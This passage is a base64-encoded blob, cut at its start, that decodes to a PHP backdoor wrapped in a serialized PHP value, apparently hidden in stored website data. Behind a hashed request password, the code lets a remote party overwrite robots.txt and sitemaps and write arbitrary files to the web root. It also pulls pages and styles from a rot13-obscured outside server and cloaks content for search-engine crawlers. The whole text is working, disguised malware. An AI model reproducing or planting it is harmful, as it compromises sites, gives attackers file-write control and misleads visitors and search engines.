mkgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydhcmd2J11bMF07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZHVyaSA9ICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkZHVyaTsNCn0NCg0KJGdvd2ViID0gc3RyX3JvdDEzKHVybGRlY29kZSgkeG1sbmFtZSkpOw0KZnVuY3Rpb24gaXNfaHR0cHMoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSkgIT09ICdvZmYnKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkgIT09ICdvZmYnKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCiRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGxhbmcgPSBAJF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl07DQokbGFuZyA9IHVybGVuY29kZSgkbGFuZyk7DQokdXJsc2hhbmcgPSAnJzsNCmlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7DQogICAgJHVybHNoYW5nID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KICAgICR1cmxzaGFuZyA9IHVybGVuY29kZSgkdXJsc2hhbmcpOw0KfQ0KJHBhc3N3b3JkID0gc2hhMShzaGExKEAkX1JFUVVFU1RbJ3BkJ10pKTsNCmlmICgkcGFzc3dvcmQgPT0gJ2Y3NWZkNWFjZDM2YTdmYmQxZTIxOWIxOTg4MWE1MzQ4YmZjNjZlNzknKSB7DQogICAgJGFkZF9jb250ZW50ID0gQCRfUkVRVUVTVFsnbWFwbmFtZSddOw0KICAgICRhY3Rpb24gPSBAJF9SRVFVRVNUWydhY3Rpb24nXTsNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCiAgICAgICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7DQogICAgfQ0KICAgIGlmICghJGFjdGlvbikgew0KICAgICAgICAkYWN0aW9uID0gJ3B1dCc7DQogICAgfQ0KICAgIGlmICgkYWN0aW9uID09ICdwdXQnKSB7DQogICAgICAgIGlmIChzdHJzdHIoJGFkZF9jb250ZW50LCAnLnhtbCcpKSB7DQogICAgICAgICAgICAkbWFwX3BhdGggPSAkcGF0aC4gJy9zaXRlbWFwLnhtbCc7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkbWFwX3BhdGgpKSB7DQogICAgICAgICAgICAgICAgQHVubGluaygkbWFwX3BhdGgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy9yb2JvdHMudHh0JzsNCiAgICAgICAgICAgIGlmKHN0cmlzdHIoJGFkZF9jb250ZW50LCAnVXNlci1hZ2VudCcpKXsNCgkJCQlAdW5saW5rKCRmaWxlX3BhdGgpOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkYWRkX2NvbnRlbnQpKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj5vazxicj4nOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj5maWxlIHdyaXRlIGZhbHNlITxicj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IGRvdXRkbygkZmlsZV9wYXRoKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkZGF0YSA9ICdVc2VyLWFnZW50OiAqDQpBbGxvdzogLyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRzaXRtYXBfdXJsID0gJGh0dHAgLiAnOi8vJyAuICRob3N0IC4gJy8nIC4gJGFkZF9jb250ZW50Ow0KICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRkYXRhLCAkc2l0bWFwX3VybCkpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyPnNpdGVtYXAgYWxyZWFkeSBhZGRlZCE8YnI+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGVfcGF0aCwgdHJpbSgkZGF0YSkgLiAiXHJcbiIgLiAnU2l0ZW1hcDogJy4kc2l0bWFwX3VybCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj5vazxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyPmZpbGUgd3JpdGUgZmFsc2UhPGJyPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICc8YnI+c2l0ZW1hcCBuYW1lIGZhbHNlITxicj4nOw0KICAgICAgICB9DQogICAgICAgICRhID0gc2hhMShzaGExKEAkX1JFUVVFU1RbJ2EnXSkpOw0KICAgICAgICAkYiA9IHNoYTEoc2hhMShAJF9SRVFVRVNUWydiJ10pKTsNCiAgICAgICAgaWYgKCRhID09IGRvdXRkbygkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvYS5wJyAuICdocCcpIHx8ICRiID09ICdmOGYwZGFlODA0MzY4YzAzMzRlMjJkOWRjYjcwZDNjN2JiZmE5NjM1Jykgew0KICAgICAgICAgICAgJGRzdHIgPSBAJF9SRVFVRVNUWydkc3RyJ107DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGggLiAnLycgLiAkYWRkX2NvbnRlbnQsICRkc3RyKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ29rJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQp9IGVsc2Ugew0KICAgICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7DQp9DQppZihpc19kaXIoJHBhdGguICcvd3AtaW5jbHVkZXMnKSl7DQoJJGZwYXRoID0gJ3dwLWluY2x1ZGVzL2Nzcyc7DQp9ZWxzZXsNCgkkZnBhdGggPSAnY3NzJzsNCn0NCiRkcGF0aCA9ICRwYXRoLiAnLycuJGZwYXRoOw0KaWYoc3Vic3RyKCRob3N0LDAsNCk9PSd3d3cuJyl7DQogICAgJGhvc3RfbncgPSBzdWJzdHIoJGhvc3QsIDQpOw0KfWVsc2V7DQoJJGhvc3RfbncgPSAkaG9zdDsNCn0NCiRjc3NuID0gc3RyX3JvdDEzKHN1YnN0cigkaG9zdF9udywwLDMpLnN1YnN0cigkZ293ZWIsMCwzKSkuJy5jc3MnOw0KJHBzID0gJHBhdGguICcvJy4kZnBhdGguJy8nLiRjc3NuOw0KJHVybGMgPSAkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvdGVtcC9zdHlsZS5jc3MnOw0KDQpmdW5jdGlvbiBwaW5nX3NpdGVtYXAoJHVybCl7DQogICAgJHVybF9hcnIgPSBleHBsb2RlKCJcclxuIiwgdHJpbSgkdXJsKSk7DQogICAgJHJldHVybl9zdHIgPSAnJzsNCiAgICBmb3JlYWNoKCR1cmxfYXJyIGFzICRwaW5nVXJsKXsNCiAgICAgICAgJHBpbmdSZXMgPSBkb3V0ZG8oJHBpbmdVcmwpOw0KICAgICAgICAkb2sgPSAoc3RycG9zKCRwaW5nUmVzLCAnU2l0ZW1hcCBOb3RpZmljYXRpb24gUmVjZWl2ZWQnKSAhPT0gZmFsc2UpID8gJ3BpbmdvaycgOiAnZXJyb3InOw0KICAgICAgICAkcmV0dXJuX3N0ciAuPSAkcGluZ1VybCAuICctLSAnIC4gJG9rIC4gJzxicj4nOw0KICAgIH0NCiAgICByZXR1cm4gJHJldHVybl9zdHI7DQp9DQpmdW5jdGlvbiBkaXNib3QoKQ0Kew0KICAgICR1QWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgaWYgKHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2JpbmcnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICd5YWhvbycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZScpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ0dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9DQpmdW5jdGlvbiBkb3V0ZG8oJHVybCkNCnsNCiAgICAkZmlsZV9jb250ZW50cz0gJyc7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7DQogICAgICAgICRmaWxlX2NvbnRlbnRzID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAgaWYgKCEkZmlsZV9jb250ZW50cykgew0KICAgICAgICAkZmlsZV9jb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICB9DQogICAgcmV0dXJuICRmaWxlX2NvbnRlbnRzOw0KfQ0KZnVuY3Rpb24gZmNzcygkZHBhdGgsJHBzLCR1cmxjKXsNCiAgICBpZihpc19kaXIoJGRwYXRoKSl7DQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkcHMpKXsNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcHMsZG91dGRvKCR1cmxjKSk7DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgaWYoQG1rZGlyKCRkcGF0aCkpew0KICAgICAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRwcykpew0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcHMsZG91dGRvKCR1cmxjKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQppZigkZHVyaV90bXA9PScvJyB8fCBzdHJzdHIoJGR1cmlfdG1wLCAnZXd0dG0nKSl7DQogICAgZmNzcygkZHBhdGgsJHBzLCR1cmxjKTsNCn0NCmlmKGlzX2ZpbGUoJHBzKSl7DQoJJHdlYiA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy9pbmRleG5ldy5waHA/d2ViPScgLiAkaG9zdCAuICcmeno9JyAuIGRpc2JvdCgpIC4gJyZ1cmk9JyAuICRkdXJpIC4gJyZ1cmxzaGFuZz0nIC4gJHVybHNoYW5nIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmcuICcmY3NzPTEnOw0KfWVsc2V7DQoJJHdlYiA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy9pbmRleG5ldy5waHA/d2ViPScgLiAkaG9zdCAuICcmeno9JyAuIGRpc2JvdCgpIC4gJyZ1cmk9JyAuICRkdXJpIC4gJyZ1cmxzaGFuZz0nIC4gJHVybHNoYW5nIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmc7DQp9DQokaHRtbF9jb250ZW50ID0gdHJpbShkb3V0ZG8oJHdlYikpOw0KaWYgKCFzdHJzdHIoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykpIHsNCiAgICBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva2h0bWxnZXRjb250ZW50JykpIHsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCiAgICAgICAgaWYoZmlsZV9leGlzdHMoJHBzKSl7DQogICAgICAgICAgICAkbGNzc19zdHIgPSBmaWxlX2dldF9jb250ZW50cygkcHMpOw0KCQkJJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJbIyNsaW5rY3NzIyNdIiwgJzxzdHlsZT4nLiRsY3NzX3N0ci4nPC9zdHlsZT4nLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIlsjI2xpbmtjc3MjI10iLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIH0NCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZihzdHJzdHIoJGh0bWxfY29udGVudCwgJ29reG1sZ2V0Y29udGVudCcpKXsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJva3htbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC94bWwiKTsNCiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50Ow0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdwaW5neG1sZ2V0Y29udGVudCcpKXsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJwaW5neG1sZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZmNzcygkZHBhdGgsJHBzLCR1cmxjKTsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCiAgICAgICAgZWNobyBwaW5nX3NpdGVtYXAoJGh0bWxfY29udGVudCk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NTAwcGFnZScpKSB7DQogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InKTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQ0MDRwYWdlJykpIHsNCiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDMwMXBhZ2UnKSkgew0KICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknKTsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJnZXRjb250ZW50MzAxcGFnZSIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfQ0KfS8qIGJsb2cgUjEtQTUxMCAqLyA/PiI7fXM6NDoidHlwZSI7czo3OiJkZWZhdWx0Ijt9